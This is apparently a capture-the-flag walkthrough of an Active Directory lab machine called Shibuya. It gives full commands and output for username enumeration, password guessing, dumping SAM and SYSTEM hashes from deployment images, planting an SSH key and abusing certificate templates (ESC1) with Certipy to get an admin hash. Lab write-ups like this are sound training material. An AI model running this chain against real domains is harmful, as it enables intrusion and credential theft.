Shinbuya is a machine with medium difficulty that involves Active Directory (AD). First, we use Kerbrute to find valid usernames. After a few steps, we dump hashes from the registry, and finally, we escalate privileges to admin by running remote_potato0
➜ nmap -p---min-rate 10000 10.10.105.26 -oN port.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-19 19:17 +04
Nmap scan report for 10.10.105.26
Host is up (0.14s latency).
Not shown: 65523 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
5357/tcp open wsdapi
9389/tcp open adws
49664/tcp open unknown
49669/tcp open unknown
60035/tcp open unknown
60077/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 13.86 seconds
The SSH port was open, interesting, let’s keep that in mind. After poking around a bit (looking at null auth shares, etc.), we couldn’t find anything. As a last resort, we’re trying to find a valid username with Kerbrute.
We found two usernames. While wondering if they used the same password, we realized we were right. However, we confirmed it was correct using the -k option. I think NTLM auth is disabled.
1
2
3
4
5
6
➜ Shibuya netexec smb shibuya.vl -u red -p red
SMB 10.10.105.26 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522)(domain:shibuya.vl)(signing:True)(SMBv1:False)
SMB 10.10.105.26 445 AWSJPDC0522 [-] shibuya.vl\red:red STATUS_LOGON_FAILURE
➜ Shibuya netexec smb shibuya.vl -u red -p red -k
SMB shibuya.vl 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522)(domain:shibuya.vl)(signing:True)(SMBv1:False)
SMB shibuya.vl 445 AWSJPDC0522 [+] shibuya.vl\red:red
The password was correct. While looking at the shares, the images share caught our attention.
1
2
3
4
5
6
7
8
9
10
11
12
➜ Shibuya smbclient -U svc_autojoin \\\\shibuya.vl\\images$
Password for[WORKGROUP\svc_autojoin]:
Try "help" to get a list of possible commands.
smb: \>ls. D 0 Sun Feb 16 15:24:08 2025
.. DHS 0 Wed Feb 19 16:59:37 2025
AWSJPWK0222-01.wim A 8264070 Sun Feb 16 15:23:41 2025
AWSJPWK0222-02.wim A 50660968 Sun Feb 16 15:23:45 2025
AWSJPWK0222-03.wim A 32065850 Sun Feb 16 15:23:47 2025
vss-meta.cab A 365686 Sun Feb 16 15:22:37 2025
6126847 blocks of size 4096. 1338307 blocks available
We found .wim files inside the images share. Honestly, I recognize these from the WDS server. They were used to automate the deployment of operating systems to computers. But the good part is, we can extract files from the .wim. Our immediate thought was to dump the hashes from the registry.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
➜ Shibuya 7z l AWSJPWK0222-01.wim | grep SAM
➜ Shibuya 7z l AWSJPWK0222-02.wim | grep SAM
2025-02-16 23:47:38 ....A 0 0 RegBack/SAM
2025-02-16 15:16:08 ....A 65536 14320 SAM
2021-05-08 12:06:51 ..HSA 65536 9960 SAM.LOG1
2021-05-08 12:06:51 ..HSA 49152 9502 SAM.LOG2
➜ Shibuya 7z l AWSJPWK0222-02.wim | grep SYSTEM
2021-05-08 12:06:51 ..HSA 0 0 SYSTEM.LOG1
2021-05-08 12:06:51 ..HSA 0 0 SYSTEM.LOG2
2025-02-16 23:47:38 ....A 0 0 RegBack/SYSTEM
2025-02-16 15:16:08 ....A 17039360 3632062 SYSTEM
We couldn’t find the file we wanted in 01, but it was in 02. We can start dumping from here. You could transfer it to Windows and use DISM. After some research, I found that we could also extract files using 7z, so I didn’t bother with the transfer.
1
2
3
4
5
6
7
8
9
10
11
12
13
➜ Shibuya 7z e AWSJPWK0222-02.wim SAM SYSTEM SECURITY
7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
64-bit locale=C.UTF-8 Threads:4 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 50660968 bytes (49 MiB)
<strong><SNIP>
</strong>Files: 3
Size: 17137664
Compressed: 50660968
</code></pre>
1
2
3
4
5
6
7
8
9
10
11
➜ Shibuya impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x2e971736685fc53bfd5106d471e2f00f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8dcb5ed323d1d09b9653452027e8c013:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:9dc1b36c1e31da7926d77ba67c654ae6:::
operator:1000:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
<SNIP>
From here, we’re analyzing the hashes. Let’s not get excited when we see the Administrator hash, it’s not the hash for the machine we’re looking for. :) Let’s try the Operator hash.
The userlist we saved is in single quotes and JSON format. We convert it to double quotes and write it as a wordlist, one entry per line. The issue here is that some names contain single quotes. We automatically convert those to double quotes, which is something we didn’t want, and unfortunately, I had to manually fix that.
For example, O’Donnel –> O”Donnel.
Great, we found the simon.watson user. Then, we connect via SMB, create a .ssh folder in the users share, place the pub key there, and gain initial access.
➜ Shibuya ssh-keygen -t rsa -b 4096 -f id_rsa_custom
Generating public/private rsa key pair.
Enter passphrase for"id_rsa_custom"(empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in id_rsa_custom
Your public key has been saved in id_rsa_custom.pub
The key fingerprint is:
SHA256:rqj+0/IHufWFejbDxbr9X2qUqPWG5sXiWdML/xqacd0 user@kali
The key's randomart image is:
+---[RSA 4096]----+
| |
| |
| |
| |
| .S o . . |
| o.. . *.oo.|
| . +.+ *o=B E|
| o.o.o XooX*+o|
| .ooo+o. o.*B++=+|
+----[SHA256]-----+
1
➜ Shibuya mv id_rsa_custom.pub authorized_keys
1
2
3
4
5
6
7
8
9
10
11
➜ Shibuya ssh -i id_rsa_custom simon.watson@shibuya.vl
The authenticity of host 'shibuya.vl (10.10.88.177)' can't be established.
ED25519 key fingerprint is SHA256:SiXhmjQMScl7eQgH4/uyVXXTsCHM6diy6fh80l4zzJQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'shibuya.vl' (ED25519) to the list of known hosts.
Microsoft Windows [Version 10.0.20348.3207]
(c) Microsoft Corporation. All rights reserved.
shibuya\simon.watson@AWSJPDC0522 C:\Users\simon.watson>
Since Defender is running on the machine, if you try to transfer SharpHound, the transfer will succeed without any issues, but you won’t be able to run it. You might try obfuscation methods here, but I used NetExec to do this.
(I set up SSH tunneling, as you can see. Otherwise, I wouldn’t have been able to run the BloodHound module.)
According to the BloodHound data, the nigel.mills user had a session on the DC. We could have dumped the hashes using Mimikatz, but unfortunately, we have an issue with Defender. To bypass this, different methods can be used, and I used remote_potato0. It’s fairly simple to use, but it returns the hash in NTLMv2 format. We hope to crack it with hashcat.
➜ Shibuya proxychains -q certipy-ad find -username nigel.mills -password <REDACTED> -vulnerable-dc-ip 10.10.64.180 -stdout-debug
Certipy v4.8.2 - by Oliver Lyak (ly4k)[+] Authenticating to LDAP server
[+] Bound to ldaps://10.10.64.180:636 - ssl
[+] Default path: DC=shibuya,DC=vl
[+] Configuration path: CN=Configuration,DC=shibuya,DC=vl
[+] Adding Domain Computers to list of current user's SIDs
[+] List of current user's SIDs:
<SNIP>
[!] Vulnerabilities
ESC1 : 'SHIBUYA.VL\\t1_admins' can enroll, enrollee supplies subject and template allows client authentication
ESC2 : 'SHIBUYA.VL\\t1_admins' can enroll and template can be used for any purpose
ESC3 : 'SHIBUYA.VL\\t1_admins' can enroll and template has Certificate Request Agent EKU set
Let’s send the request.
1
2
3
4
5
6
7
8
9
10
11
➜ Shibuya proxychains -q certipy-ad req -u Nigel.Mills@shibuya.vl -p <REDACTED>-ca shibuya-AWSJPDC0522-CA -target AWSJPDC0522.shibuya.vl -target-ip 10.10.64.180 -template ShibuyaWeb -upn'_admin@shibuya.vl'-key-size 4096
Certipy v4.8.2 - by Oliver Lyak (ly4k)
/usr/lib/python3/dist-packages/certipy/commands/req.py:459: SyntaxWarning: invalid escape sequence '\('"(0x[a-zA-Z0-9]+) \([-]?[0-9]+ ",
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 4
[*] Got certificate with UPN '_admin@shibuya.vl'[*] Certificate has no object SID
[*] Saved certificate and private key to '_admin.pfx'
1
2
3
4
5
6
7
8
9
➜ Shibuya proxychains -q certipy-ad auth -pfx'_admin.pfx'-dc-ip 10.10.64.180
Certipy v4.8.2 - by Oliver Lyak (ly4k)[*] Using principal: _admin@shibuya.vl
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to '_admin.ccache'[*] Trying to retrieve NT hash for'_admin'[*] Got hash for'_admin@shibuya.vl': aad3b435b51404eeaad3b435b51404ee:<REDACTED>
